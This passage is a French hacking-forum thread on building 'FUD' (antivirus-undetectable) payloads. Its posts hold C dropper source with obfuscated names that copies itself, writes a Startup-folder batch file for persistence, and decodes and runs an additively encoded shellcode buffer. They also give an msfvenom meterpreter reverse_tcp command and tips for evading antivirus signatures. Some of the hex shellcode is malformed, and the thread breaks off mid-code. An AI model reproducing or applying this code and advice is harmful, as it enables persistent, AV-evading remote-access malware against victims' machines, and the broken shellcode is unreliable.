7\x77\x43\x7e\xdf\x85\xcf\x32\x7f\x9f\xac\x69\xe3\xaa\x19\x46\x0d\x48\xad\xee\x4c\xea\x60\x67\x99\x8f\x1e\x19\x59\xd7\x98\x56\x88\xe0\x8a\x04\x78\x7e\xc4\xd9\xd6\xbc\x4e\x09\xa0\xff\x36\xa7\x5e\x49\x59\xaf\x97\x1e\x40\x38\x5e\x54\x66\x5e\x6e\xcd\xc8\x56\x2c\x1a\x98\xf7\xb5\xb9\xc7\xb8\x29\xa6\x98\x28\xe7\x0f\x05\xd0\x68\x33\x38\x8d\x80\x69\x8e\x1f\x8d\xbc\xa8\x78\xd4\xe9\x80\x29\x19\xde\x52\x68\x7e\x48\x57\x58\xca\x18\x69\x7a\x7f\xf0\x3a\x6f\x35\x7a\xb8\x40\xf0\x09\x08\xa2\x5b\xf8\xd8\x12\x79\xd7\x88\xef\xb0\xd0\x86\x87\x98\x7e\x37\xff\x09\x28\x37\xc9\xe9\x85\x47\xd8\x6c\xe3\x58\x0f\x36\x3d\x67\xf0\xaf\x7f\x66\x25\x56\x38\x44\xb6\xdf\x6f\xf9\x20\xef\xdf";

int gsqqsrppfbpnqwpfiiqqbcwsqvjpvrgvgqoskakjbtrrmdrpmkihmhcfwfooqonahvmmwrvanpmdtamckujrvfquk[]={2,5,3,4,7,4,1,1,4,4,4,1,1,1,2,2,8,1,6,1,1,3,2,2,2,1,1,1,1,4,4,8,1,1,1,6,1,2,2,1,2,4,2,2,1,1,2,2,3,1,4,1,3,1,2,1,7,4,1,1,4,2,1,3,4,1,1,4,2,6,2,1,1,1,3,1,1,2,3,4,5,4,4,3,3,3,1,1,1,5,1,1,4,4,4,1,3,5,1,1,1,4,5,1,3,1,3,2,1,2,1,2,1,6,5,8,8,1,2,1,7,1,1,6,1,1,4,1,1,1,4,2,1,1,7,1,1,8,2,1,6,1,1,2,6,1,3,4,1,4,2,2,6,4,1,1,3,2,1,5,4,1,9,2,2,8,4,3,1,1,1,2,1,1,1,3,1,1,1,1,9,1,4,1,3,2,1,1,4,1,8,2,1,6,1,4,2,1,1,1,2,2,5,1,1,5,1,1,1,3,3,1,1,7,4,3,3,2,1,1,1,5,4,3,1,1,4,2,1,3,1,1,1,1,1,2,4,3,1,2,1,1,1,1,3,4,4,3,5,6,5,1,6,1,1,1,2,7,1,1,3,5,2,2,1,1,1,1,4,3,2,9,1,5,1,1,3,4,1,4,2,3,1,3,6,2,1,2,2,3,1,3,2,9,5,2,5,1,3,3,1,5,3,6,1,1,9,2,5,1,1,2,4,1,2,1,8,1,4,2,2,1,1,1,2,1,4,1,1,5,1,1,1,4,1,6,1,1,1,1,1,1,7,4,2,1,1,2,2,1,1,5,1,3,2,3,2,7,2,1,3,4,2,7,1,2,3,3,1,4,3,4,1,3,1,2,4,4,4,4,1,2,4,9,1,5,1};

Avec le tableau de int qui est un peu la "clé du trojan". Observe bien que chaque opcode du payload soustrait avec le chiffre de la clé correspondant vaut bien l'opcode correct du shellcode de base.
A partir de ce moment, le principal est fait !
Il reste juste à larguer l'analyse heuristique grace aux petites techniques que j'ai déjà présenté sur l'autre topic, et après l'exécution réussie de ces techniques, je décode le shellcode en soustrayant chaque valeur une à une avec celle de la clé correspondante et il reste plus qu'à l'exécuter.

VOILA. Simple comme bonjour, et pas encore arreté par les antivirus alors que je leur ai envoyé les centaines d'échantillons demandés  ::)
J'avais prévenus que le fonctionnement est tout con  ;)
Titre: Re : Proposition explication payload FUD
Posté par: WarLocG le 13 août 2017 à 16:04:36
Citer
Observe bien que chaque opcode du payload soustrait avec le chiffre de la clé correspondant vaut bien l'opcode correct du shellcode de base.
Et donc, tu te sers d'une addition ou d'une soustraction, c'est même encore plus simple que de passer par un XOR ou d'une autre substitution ;)
Titre: Re : Re : Proposition explication payload FUD
Posté par: WK le 13 août 2017 à 22:33:11
Citer
Observe bien que chaque opcode du payload soustrait avec le chiffre de la clé correspondant vaut bien l'opcode correct du shellcode de base.
Et donc, tu te sers d'une addition ou d'une soustraction, c'est même encore plus simple que de passer par un XOR ou d'une autre substitution ;)

Le XOR me semblait un peu oldschool  ;D
Titre: Re : Re : Proposition explication payload FUD
Posté par: _john_doe le 16 août 2017 à 22:54:15
Je me permet de réutiliser le MP que j'avais fait à JD.

Je confirme, la simplicité de ton code le rend génial :-)
Titre: Re : Proposition explication payload FUD
Posté par: 3amoo le 23 avril 2019 à 01:20:09
Bonsoir,
Désolé de déterrer ce topic mais je me torture la cervelle depuis 2 jours non-stop pour essayer de faire fonctionner ton script et ensuite pourquoi pas l'améliorer mais pas moyen. Après avoir généré le shellcode et l'avoir modifié opcode par opcode à l'aide d'un petit script en python, je remplace le tien sans oublier de changer la variable dans laquelle se trouve le tableau de int pour effectuer la soustraction. Et ... Une fois le .exe compilé, la partie du code qui s'occupe d'établir la persistence fonctionne bel et bien mais mon shellcode ne s'exécute pas. J'ai cherché à bidouiller pour arranger ça mais je ne voit pas d'où vient le problème alors je viens demander de l'aide avant de câbler.
J'espère que vous êtes encore actifs héhé bonne soirée :D
Titre: Re : Re : Proposition explication payload FUD
Posté par: coyotus le 23 avril 2019 à 07:43:36
Bonsoir,
Désolé de déterrer ce topic mais je me torture la cervelle depuis 2 jours non-stop pour essayer de faire fonctionner ton script et ensuite pourquoi pas l'améliorer mais pas moyen. Après avoir généré le shellcode et l'avoir modifié opcode par opcode à l'aide d'un petit script en python, je remplace le tien sans oublier de changer la variable dans laquelle se trouve le tableau de int pour effectuer la soustraction. Et ... Une fois le .exe compilé, la partie du code qui s'occupe d'établir la persistence fonctionne bel et bien mais mon shellcode ne s'exécute pas. J'ai cherché à bidouiller pour arranger ça mais je ne voit pas d'où vient le problème alors je viens demander de l'aide avant de câbler.
J'espère que vous êtes encore actifs héhé bonne soirée :D
Pas de présentation ni de participation antérieure sur le forum, mais soit.
Si tu ne donne aucun détails sur ton environnement de test, il sera très difficile pour White Koala de t'aider (je pense même qu'il ne participe plus au forum d'ailleurs).
Et puis le topic à environ 2 ans des mesures on été prises sur certaines plateformes depuis pour contrer la charge active.
Titre: Re : Proposition explication payload FUD
Posté par: ZeR0-@bSoLu le 23 avril 2019 à 09:05:43
Oui clairement il nous faut plus d'info de ta part la (screen , snippets ...)
Titre: Re : Re : Re : Proposition explication payload FUD
Posté par: 3amoo le 23 avril 2019 à 23:30:56
Bonsoir,
Désolé de déterrer ce topic mais je me torture la cervelle depuis 2 jours non-stop pour essayer de faire fonctionner ton script et ensuite pourquoi pas l'améliorer mais pas moyen. Après avoir généré le shellcode et l'avoir modifié opcode par opcode à l'aide d'un petit script en python, je remplace le tien sans oublier de changer la variable dans laquelle se trouve le tableau de int pour effectuer la soustraction. Et ... Une fois le .exe compilé, la partie du code qui s'occupe d'établir la persistence fonctionne bel et bien mais mon shellcode ne s'exécute pas. J'ai cherché à bidouiller pour arranger ça mais je ne voit pas d'où vient le problème alors je viens demander de l'aide avant de câbler.
J'espère que vous êtes encore actifs héhé bonne soirée :D
Pas de présentation ni de participation antérieure sur le forum, mais soit.
Si tu ne donne aucun détails sur ton environnement de test, il sera très difficile pour White Koala de t'aider (je pense même qu'il ne participe plus au forum d'ailleurs).
Et puis le topic à environ 2 ans des mesures on été prises sur certaines plateformes depuis pour contrer la charge active.

Oui effectivement je suis nouveau ici j'irais surement faire une présentation quand j'aurais un peu de temps.
Alors pour mon environnement de test j'utilise un VM sur win7 et un pc portable sur Win10, tous mes shellcode ont fonctionné sur les 2 jusqu'à présent, le problème ici c'est que quand j'utilise le code que WK a posté un peu plus haut; je pense que l'opcode ne se soustrait pas puisque mon shellcode ne s'exécute pas ! Le problème c'est que je maîtrise approximativement le C après beaucoup de recherche je ne comprends pas pourquoi le shellcode ne s'exécute pas.

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <windows.h>

char lkwmnrtpmjbatfddnpptohjdswhkvwwdjwqrkgdqjeqfdncqglgosksidtsttlwwejqiqnbcmscpcedikdrwnmhlit[300];
char qwffboiarkkpedwqlktblldmdkwgctwmsvsumuobhsqgvpqjumfibioesheoddeqsqhihvdiqtoofiscoafpinovvs[500]="copy \"";
char qndgesmgnivhhhpvvnnluivhudfprddeqglpsrpitnjevctnjdsalqicohsiepgpplblfqtchgawcnmfqigvsibjpt[100];
char wcbwtrsjgatigreosnaicinunfuonuigwdwsurvuslgsgkebavecglqoqowblhbfebrbsqvheeueosajqelrpwcdn[2]="ii";char wudvliggiprgvfvuhbecwwewrewgfmfvectpedwgmkmkpfhqalsafqqwupwtwvrdroswllwavmlnrmalbsfafvwco[100]="\"C:\\Users\\%username%\\";
char rgjalalbrwtnftmdmplvhswrwamfmsqaccahtlioevvjlkhatmpvcojbjwavrqvntpvjdarhqpleumwkboiugswpl[500]="@echo \"C:\\Users\\%username%\\blublub.exe\" > \"C:\\Users\\%username%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\beta.bat\"";
int espnaokmnvieafemvnavuaitnikmlvlplealmksccuadcfjsmkqkksarulgijrsupsdewvacsbwoaijmmtwwirqff=0;int tqnojvomiebvubbolanwiwefwbutomufwetjclpejqualvjavwwbpugiveehksmjwimtnerqvirjgddwttagqgoje=0;
int wkfddndnpofecqqwnhqnviogrwembkbauberohhaqhfsavsnwfduhmublbhhfchcdfnmhpmawrswjhgimkwtqtoevv=0;
int iffntrjwvenkoqlbhpvrsuldopweucrgbqnpkwojuenlpbgwlergbwjkiciavcaamnjrnrueqkqigqhlvsrqluuuwf[105148];
unsigned char buf[] =
"\xbf\xc3\x8f\x3b\x5b\xdb\xc5\xda\x75\x25\xf5\x59\x2c\xca\xb2\x72\x32\x71\x14\x84\xe9\xfd\x04\x71\xce\x6d\xcg\x82\x1g\xc9\xb4\x66\x42\x38\x6e\xfe\x5a\xbd\xd8\xcg\x69\x8e\x83\x1f\x29\xf8\xd2\x8c\x51\x05\x95\x5f\xca\xae\x1g\x95\xd5\x6e\x2e\x49\x75\xa9\x65\x4g\x21\x2a\x15\x26\xc2\xdc\xf8\x76\xab\x5a\xag\xc4\xc5\x22\x1d\x5d\x9a\x33\x06\x47\x0g\x1a\xe9\x08\x68\x62\x85\xdc\x67\x7e\x31\xdc\x92\xbf\xcb\x1f\x8c\x09\xaf\x9a\xa5\xb3\x7b\x04\x14\x7g\x95\xf7\x73\xbe\x7d\x3d\x64\x52\x3c\x0f\x32\x5a\xa8\x07\xd1\x25\x32\x6e\x3f\x0c\xec\xd4\x8g\xd4\xfd\x48\x2a\xb3\x73\x29\xa5\x3c\x03\x37\x2c\x0f\xbf\xba\x7f\x9c\x1b\xa9\xf7\x1a\x39\x28\x77\x55\xec\x81\x7f\x5e\x74\x14\x3d\x96\x94\x31\x9b\x9g\x7d\xa7\x4c\x9d\x17\x88\x59\xf2\x75\xe5\x4g\x69\xe1\xfg\x0d\xf3\xfc\xa2\x62\x2f\x6a\x88\x3f\x35\xa6\xee\x73\x1c\x24\x43\x89\xcd\x11\xa3\x0b\xcg\x0d\x1g\x2e\x73\xba\xe3\x69\xe4\x06\x08\xe8\xbb\x59\x09\x34\x1b\x46\x31\x96\x6e\x77\x81\x9c\xcf\x2g\x7a\x5f\x23\xfc\xdf\xbg\x89\xae\x28\x0a\x73\xf1\x35\xa6\xaa\xb7\xae\x8b\x57\x32\x7c\x3d\xeb\x9e\x1e\xaa\xd8\x89\x9b\xba\x1e\xf8\x88\x42\xcc\xca\x6a\x96\x3b\x55\xaa\xe1\x44\xcc\x9g\xa1\x65\x3e\x83\xe7\xfa\xdf\xa4\xed\x31\x63\xbe\x71\xef\xac\x93\xaf\x28\x1g\xbd\xa5\x05\xda\x96\xe7\xd8\xc2\x01\xee\x46\xeb\x1b\x22\x79\x2d\xff\x6f\x5g\x74\x35\x77\x2a\xaf\x74\xc9\x36\x8e\x67\xbb\x6a\x33\x1e\xb6\x19\xba\xf3\x93\xag\x1d\x43\x18\x57\x53\x02\x1e\xe4\xda\xca\xf6\xcb\xa1\xfa\x02\xd5\x82\xf8\x0d\x65\xcg\x0c\x3g\x65\x6d\x97\xfg\x91\xfg\xad\xa6\x83\xff\x8d\xa6\x12\x2d\x8b\xe5\xcb\x72\xec\x0g\x84\x34\x5a\xcg\x0e\xdd\x38\xb2\x7e\x85\xab\x63\x53\x36\x5c\x8c\xcd\x2f\xe9\x27\x55\xe6\x1f\x4g\x96\x3c\xb6\x31\x3c\x41\xe4\x38\x4g\x06\xff\x4a\x19\xa5\x7e\x61\x76\x2g\x75\x82\x08\xaa\xbg\xef\x65\xa8\x7b\x13\x99\x45\xe7\xe6\xdg\xa3\x45\x07\xb8\xdg\xag\x35\xc1\x18\x16\x63\x1d\x1a\xa4\xe9\x3e\x66\x6e\x2d\x79\xee\xef\x64\x97\x59\x81\x63\xd5\x2c\x2c\xac\xf3\x1a\x34\x71\x8f\xa5\xff\x4g\x28\x63\x92";

int gsqqsrppfbpnqwpfiiqqbcwsqvjpvrgvgqoskakjbtrrmdrpmkihmhcfwfooqonahvmmwrvanpmdtamckujrvfquk[]={1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1};
int lklvqilqunvrwjpecgoemlpbjqsnafrfkfddioofemrupjbrkjqqpcrbshimmcrqbpojafjwldtdgpoqsbjkdvfpf;
int abgdvdkhructbnwwmpednpmgoaokjrfjmfhkilldioqdvjcksanjqdphubmgmrkbrlgcwrfbcpfrcbfucmgsjqtbl=0;
int (*ret)() = (int(*)())buf;



int main(int argc,char *argv[])
{
HWND hwnd=GetForegroundWindow (); //ShowWindow (hwnd,SW_HIDE);
printf("1 ");lklvqilqunvrwjpecgoemlpbjqsnafrfkfddioofemrupjbrkjqqpcrbshimmcrqbpojafjwldtdgpoqsbjkdvfpf=strlen(buf);
printf("1 ");strcpy(lkwmnrtpmjbatfddnpptohjdswhkvwwdjwqrkgdqjeqfdncqglgosksidtsttlwwejqiqnbcmscpcedikdrwnmhlit,argv[0]);
strcat(qwffboiarkkpedwqlktblldmdkwgctwmsvsumuobhsqgvpqjumfibioesheoddeqsqhihvdiqtoofiscoafpinovvs,lkwmnrtpmjbatfddnpptohjdswhkvwwdjwqrkgdqjeqfdncqglgosksidtsttlwwejqiqnbcmscpcedikdrwnmhlit);
strcat(qwffboiarkkpedwqlktblldmdkwgctwmsvsumuobhsqgvpqjumfibioesheoddeqsqhihvdiqtoofiscoafpinovvs,"\" \"C:\\Users\\%username%\"");
strcpy(qndgesmgnivhhhpvvnnluivhudfprddeqglpsrpitnjevctnjdsalqicohsiepgpplblfqtchgawcnmfqigvsibjpt,"blublu.exe");
strcat(wudvliggiprgvfvuhbecwwewrewgfmfvectpedwgmkmkpfhqalsafqqwupwtwvrdroswllwavmlnrmalbsfafvwco,qndgesmgnivhhhpvvnnluivhudfprddeqglpsrpitnjevctnjdsalqicohsiepgpplblfqtchgawcnmfqigvsibjpt);
system(qwffboiarkkpedwqlktblldmdkwgctwmsvsumuobhsqgvpqjumfibioesheoddeqsqhihvdiqtoofiscoafpinovvs);
system(rgjalalbrwtnftmdmplvhswrwamfmsqaccahtlioevvjlkhatmpvcojbjwavrqvntpvjdarhqpleumwkboiugswpl);
printf("1 ");if(strstr(argv[0],"blubl"))
{
lklvqilqunvrwjpecgoemlpbjqsnafrfkfddioofemrupjbrkjqqpcrbshimmcrqbpojafjwldtdgpoqsbjkdvfpf=strlen(buf);while (wkfddndnpofecqqwnhqnviogrwembkbauberohhaqhfsavsnwfduhmublbhhfchcdfnmhpmawrswjhgimkwtqtoevv<98000)
{
iffntrjwvenkoqlbhpvrsuldopweucrgbqnpkwojuenlpbgwlergbwjkiciavcaamnjrnrueqkqigqhlvsrqluuuwf[wkfddndnpofecqqwnhqnviogrwembkbauberohhaqhfsavsnwfduhmublbhhfchcdfnmhpmawrswjhgimkwtqtoevv]=6;
wkfddndnpofecqqwnhqnviogrwembkbauberohhaqhfsavsnwfduhmublbhhfchcdfnmhpmawrswjhgimkwtqtoevv++;

tqnojvomiebvubbolanwiwefwbutomufwetjclpejqualvjavwwbpugiveehksmjwimtnerqvirjgddwttagqgoje++;
}
if(tqnojvomiebvubbolanwiwefwbutomufwetjclpejqualvjavwwbpugiveehksmjwimtnerqvirjgddwttagqgoje>9000)
{
while(abgdvdkhructbnwwmpednpmgoaokjrfjmfhkilldioqdvjcksanjqdphubmgmrkbrlgcwrfbcpfrcbfucmgsjqtbl<lklvqilqunvrwjpecgoemlpbjqsnafrfkfddioofemrupjbrkjqqpcrbshimmcrqbpojafjwldtdgpoqsbjkdvfpf)
{
buf[abgdvdkhructbnwwmpednpmgoaokjrfjmfhkilldioqdvjcksanjqdphubmgmrkbrlgcwrfbcpfrcbfucmgsjqtbl]-=gsqqsrppfbpnqwpfiiqqbcwsqvjpvrgvgqoskakjbtrrmdrpmkihmhcfwfooqonahvmmwrvanpmdtamckujrvfquk[abgdvdkhructbnwwmpednpmgoaokjrfjmfhkilldioqdvjcksanjqdphubmgmrkbrlgcwrfbcpfrcbfucmgsjqtbl];
abgdvdkhructbnwwmpednpmgoaokjrfjmfhkilldioqdvjcksanjqdphubmgmrkbrlgcwrfbcpfrcbfucmgsjqtbl++;
}
ret();
}
}
}

Normalement après avoir soustrait 1 à chaque opcode le shellcode devrait être correct et s"exécuter mais non ..
Titre: Re : Proposition explication payload FUD
Posté par: _john_doe le 24 avril 2019 à 08:33:25
Salut à toi.
Quel shellcode utilise tu ?
Le shellcode d'origine donné par WK ou un que tu as crée via msfvenom ?
Pour débugger ton script voila ce que je ferais à ta place :
Creation d'un shellcode via msfvenom (on y reviendra)
Test du shellcode sans obfuscation . -> permet de s'assurer que le shellcode originel utilisé est fonctionnel pour l'OS ciblé.
Si ne fonctionne pas tu as ta réponse, le pb vient du shellcode et non pas de l'obfuscation.
Si shellcode fonctionne sans obfuscation, ensuite tu appliques l'obfuscation tel qu'expliqué par WK.

Dans un 1er temps fais un script qui obfusque ton shellcode puis qui le defusque dans la foulée (ainsi tu pourras valider que ton obfuscation / défubcation fonctionne correctement).

Et seulement une fois que tu te seras assuré que SHELLCODE OK + obfuscation OK, tu le testes sur ton OS cible.
NB : dans le script donnée par WK il y a des paths windows qui ne sont pas les meme d'une version windows à l'autre......

Maintenant ce qui peut etre améliorer :
- Si tu te sens plus à l'aise avec python, recode le script en python (à mon sens plus simple qu'en C)
- Shellcode : L'utilisation de msfvenom à l'avantage d'etre super simple mais le pb c'est que les patterns utilisés par Metasploit pour creer ses payload sont hyper connus des AV.
Si tu as des bases en assembleur et que tu veux vraiment donner du fil a retordre à ton AV, code toi meme ton payload.
Ce n'est pas hyper complexe (en tout cas pour un bind TCP pour se faire la main). Le plus chiant étant de virer les NOP sled.
L'avantage étant que ton payload sera beaucoup plus petit et sa signature beaucoup moins connue qu'une signature Mestasploit.

@+


Titre: Re : Proposition explication payload FUD
Posté par: ZeR0-@bSoLu le 24 avril 2019 à 09:13:43
Je regarde ton code dans la journée et je te dis ça mais à priori , tu as testé la valeur de tes opcodes avant d'exécuter le shellcode ?
Titre: Re : Re : Proposition explication payload FUD
Posté par: 3amoo le 24 avril 2019 à 13:10:38
Salut à toi.
Quel shellcode utilise tu ?
Le shellcode d'origine donné par WK ou un que tu as crée via msfvenom ?
Pour débugger ton script voila ce que je ferais à ta place :
Creation d'un shellcode via msfvenom (on y reviendra)
Test du shellcode sans obfuscation . -> permet de s'assurer que le shellcode originel utilisé est fonctionnel pour l'OS ciblé.
Si ne fonctionne pas tu as ta réponse, le pb vient du shellcode et non pas de l'obfuscation.
Si shellcode fonctionne sans obfuscation, ensuite tu appliques l'obfuscation tel qu'expliqué par WK.

Dans un 1er temps fais un script qui obfusque ton shellcode puis qui le defusque dans la foulée (ainsi tu pourras valider que ton obfuscation / défubcation fonctionne correctement).

Et seulement une fois que tu te seras assuré que SHELLCODE OK + obfuscation OK, tu le testes sur ton OS cible.
NB : dans le script donnée par WK il y a des paths windows qui ne sont pas les meme d'une version windows à l'autre......

Maintenant ce qui peut etre améliorer :
- Si tu te sens plus à l'aise avec python, recode le script en python (à mon sens plus simple qu'en C)
- Shellcode : L'utilisation de msfvenom à l'avantage d'etre super simple mais le pb c'est que les patterns utilisés par Metasploit pour creer ses payload sont hyper connus des AV.
Si tu as des bases en assembleur et que tu veux vraiment donner du fil a retordre à ton AV, code toi meme ton payload.
Ce n'est pas hyper complexe (en tout cas pour un bind TCP pour se faire la main). Le plus chiant étant de virer les NOP sled.
L'avantage étant que ton payload sera beaucoup plus petit et sa signature beaucoup moins connue qu'une signature Mestasploit.

@+
Salut merci pour ta réponse ! J'utilise un shellcode pour du reverse_tcp généré par msfvenom msfvenom -p windows/meterpreter/reverse_tcp LHOST= ip LPORT=port -e x86/shikata_ga_nai -i 5 -f cEffectivement je l'ai déjà testé sans obfuscation et il fonctionne parfaitement. Ce que je fais:
Je génère mon shellcode comme j'ai dit plus haut. Ensuite je l'obfusque grâce à un petit scrip en python qui ajoute à chaque opcode un nombre que je choisis, pour faire le plus simple j'ai choisi 1, tout simplement.
\xbe\xc3\x8a\x39 ...devient donc \xbf\xc4\x8b\x3a ... et ainsi de suite.
Pour finir j'insère mon shellcode et la variable qui contient la suite de 1 afin de desobfusquer le shellcode et j'exécute.
La première partie qui copie le .exe dans %user% et crée un fichier .bat dans startup fonctionne mais mon shellcode n'est visiblement pas exécuté ou je pense plutôt qu'il n'est pas désobfusqué puisqu'il ne se passe rien.

Oui dès que j'aurais un peu de temps je vais reprendre ce script en python c'est vrai que ça n'a pas l'air très complexe a réaliser mais j'aurais juste aimé comprendre ce qui couille dans ce script en C puisque logiquement il est censé fonctionner.  Et pour l'assembleur c'est archi mort je suis une burne :'(

Je regarde ton code dans la journée et je te dis ça mais à priori , tu as testé la valeur de tes opcodes avant d'exécuter le shellcode ?
Salut ZeR0, dacc merci, eh bien j'ai testé le shellcode avant l'obfuscation et il fonctionne, et pour ce qui est de changer les opcode, j'ai fait un script qui automatise ça et me dit de combien il à ajouté à chaque opcode en hexa bien sur donc pas de soucis à ce niveau là.
Titre: Re : Proposition explication payload FUD
Posté par: ZeR0-@bSoLu le 24 avril 2019 à 13:13:53
Je pense que le problème peut venir effectivement du fait que le code n'est pas exécuté après avoir soustrait 1 à toutes tes opcodes , faudrais que tu regardes plus en détails avec un débugger car tu devrais en effet possiblement avoir un résultat même si tes opcodes ne sont pas bonnes , peut être que le opcodes "transformées" génère des instructions correctes , tu comprends ou je veux en venir ?
Titre: Re : Proposition explication payload FUD
Posté par: 3amoo le 24 avril 2019 à 13:17:07
Tu veux dire que tous les opcode -1 correspondraient à une autre instruction et que c'est le shellcode obfusqué qui est exécuté au lieu du bon ?
Titre: Re : Proposition explication payload FUD
Posté par: ZeR0-@bSoLu le 24 avril 2019 à 13:18:21
Je n'ai pas lu ton code encore donc je ne peux rien affirmer , mais oui c'est une possibilité en effet !
Titre: Re : Proposition explication payload FUD
Posté par: 3amoo le 24 avril 2019 à 13:26:47
D'accord, je vais encore passer du temps dessus cet après-midi pour essayer de trouver la solution à mon problème et je vais essayer de poster une version du code avec des noms de variable lisibles de sorte à ce qu'on s'y retrouve
Titre: Re : Proposition explication payload FUD
Posté par: shiba28 le 24 avril 2019 à 17:46:42
Bonjour,
c'est un sujet intéressant!
Titre: Re : Re : Proposition explication payload FUD
Posté par: _john_doe le 24 avril 2019 à 18:38:51
D'accord, je vais encore passer du temps dessus cet après-midi pour essayer de trouver la solution à mon problème et je vais essayer de poster une version du code avec des noms de variable lisibles de sorte à ce qu'on s'y retrouve
WK m'avais filé son code source à l'époque et il etait opérationnel.
Post ton bout de code et on y jettera un oeil.
Maintenant check bien que les fichiers qui sont crées et copiés via le script sous Win le sont bien au bon endroit (à l'endroit necéssaire pour TA version de windows) car si ce n'est pas le cas les fichiers seront bien copiés mais le shellcode ne fonctionnera pas.
Ce que je trouve tres surprenant c'est que si ton shellcode etait bien appelé via ton exe et qu'il ne rimait à rien windows devrait te renvoyer un joli segfault car appel à des interruptions non existantes. Or il ne te renvoie rien. (sauf hypothese de ZeR0-@bSoLu, mais vu le nombre d'op cod de ton payload c'est statistiquement tres improbable qu'une version à -1 sur tous les op-codes continue à avoir du sens en langage assembleur).

Faut que je me replonge dans le source de WK et que je check que le bout de code qu'il avait posté etait complé (car il avait tronqué certaines fonctions pour éviter que des scripts kiddies ne fasse un copy paste).
Ce qui pourrait aussi expliquer que la partie du code de WK que tu utilise n'appelle pas en fait le shellcode et donc que win ne te renvoie rien (ni shell, ni segfault).


Titre: Re : Proposition explication payload FUD
Posté par: 3amoo le 25 avril 2019 à 01:51:03
En fait il me semble que c'est tout con .. La ligne de code qui est censée désobfusquer les opcodes est la suivante. (j'ai changé le nom des variables afin que ce soit plus lisible)
buf[variable12]-=cle[variable11];buf[variable12] correspondant au 3ème caractère de l'opcode et clé[variable11] au chiffre qu'il faut lui soustraire pour désobfusquer. Or,
unsigned char buf[] =
"\xbf\xc3\x8f\x3b\x5b\xdb\xc5\xda\x75\x25 ....
int cle[]={1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 ....En gros on cherche à soustraire un un int et un char normal qu'il y ai un soucis non ? J'ai cherché une alternative simple mais pas trouvé je verrai demain !
J'ai aussi pensé au lieu de faire une soustraction à stocker le dernier "bon" caractère de chaque opcode dans une variable à la place de la variable clé, et de simplement remplacer la 3ème valeur de chaque opcode par celle-ci, si vous avez d'autres idées hésitez pas à partager :D
Titre: Re : Re : Proposition explication payload FUD
Posté par: ZeR0-@bSoLu le 25 avril 2019 à 09:07:37
En fait il me semble que c'est tout con .. La ligne de code qui est censée désobfusquer les opcodes est la suivante. (j'ai changé le nom des variables afin que ce soit plus lisible)
buf[variable12]-=cle[variable11];buf[variable12] correspondant au 3ème caractère de l'opcode et clé[variable11] au chiffre qu'il faut lui soustraire pour désobfusquer. Or,
unsigned char buf[] =
"\xbf\xc3\x8f\x3b\x5b\xdb\xc5\xda\x75\x25 ....
int cle[]={1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 ....En gros on cherche à soustraire un un int et un char normal qu'il y ai un soucis non ? J'ai cherché une alternative simple mais pas trouvé je verrai demain !
J'ai aussi pensé au lieu de faire une soustraction à stocker le dernier "bon" caractère de chaque opcode dans une variable à la place de la variable clé, et de simplement remplacer la 3ème valeur de chaque opcode par celle-ci, si vous avez d'autres idées hésitez pas à partager :D

tu vois que tu as trouvé vite ;)
Titre: Re : Proposition explication payload FUD
Posté par: 3amoo le 25 avril 2019 à 11:26:03
Oui en fait WK avait glissé plein de petites erreurs c’est pour ça que je n’avais même pas de segfault, le shellcode ne s’exécutait effectivement pas, maintenant après avoir repris le code et changé ce qu’il fallait j’obtient bien un segfault sûrement dû au fait que les opcodes restent les mauvais puisqu’on ne peut pas additionner un entier et une chaîne de caractères. Manque plus qu’à trouver comment faire mais je bloque un peu j’essaierai cet après-midi. Si jamais quelqu’un a des bonnes bases en C ça serait cool qu’il me mette sur la piste  ;)

Pour l’instant je n’ai pas encore trouvé comment changer une seule occurrence d’un caractère à un endroit précis de la chaîne en le remplaçant par un autre caractère ou en l’additionant, comment dire à notre programme que 9+1 = a et b + 1= c ?
Titre: Re : Proposition explication payload FUD
Posté par: 3amoo le 27 avril 2019 à 02:10:21
Salut tout le monde,
Alors voilà j'ai avancé sur ce code que j'ai essayé de reprendre au mieux, j'ai décortiqué tout le script ce qui m'a permis d'apprendre beaucoup sur le C en me renseignant pour savoir à quoi correspondait tel ou tel morceau de code. Je l'ai arrangé de sorte à ce qu'il fonctionne à peu près correctement mais voilà j'ai toujours une erreur à la toute fin de l'exécution. Je vous balance le code et j'explique.
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <windows.h>

char chemin_dacces_executable[300];
char copie_du_exe[500]="copy \"";
char variable3[100];
char variable5[100]="\"C:\\Users\\%username%\\";
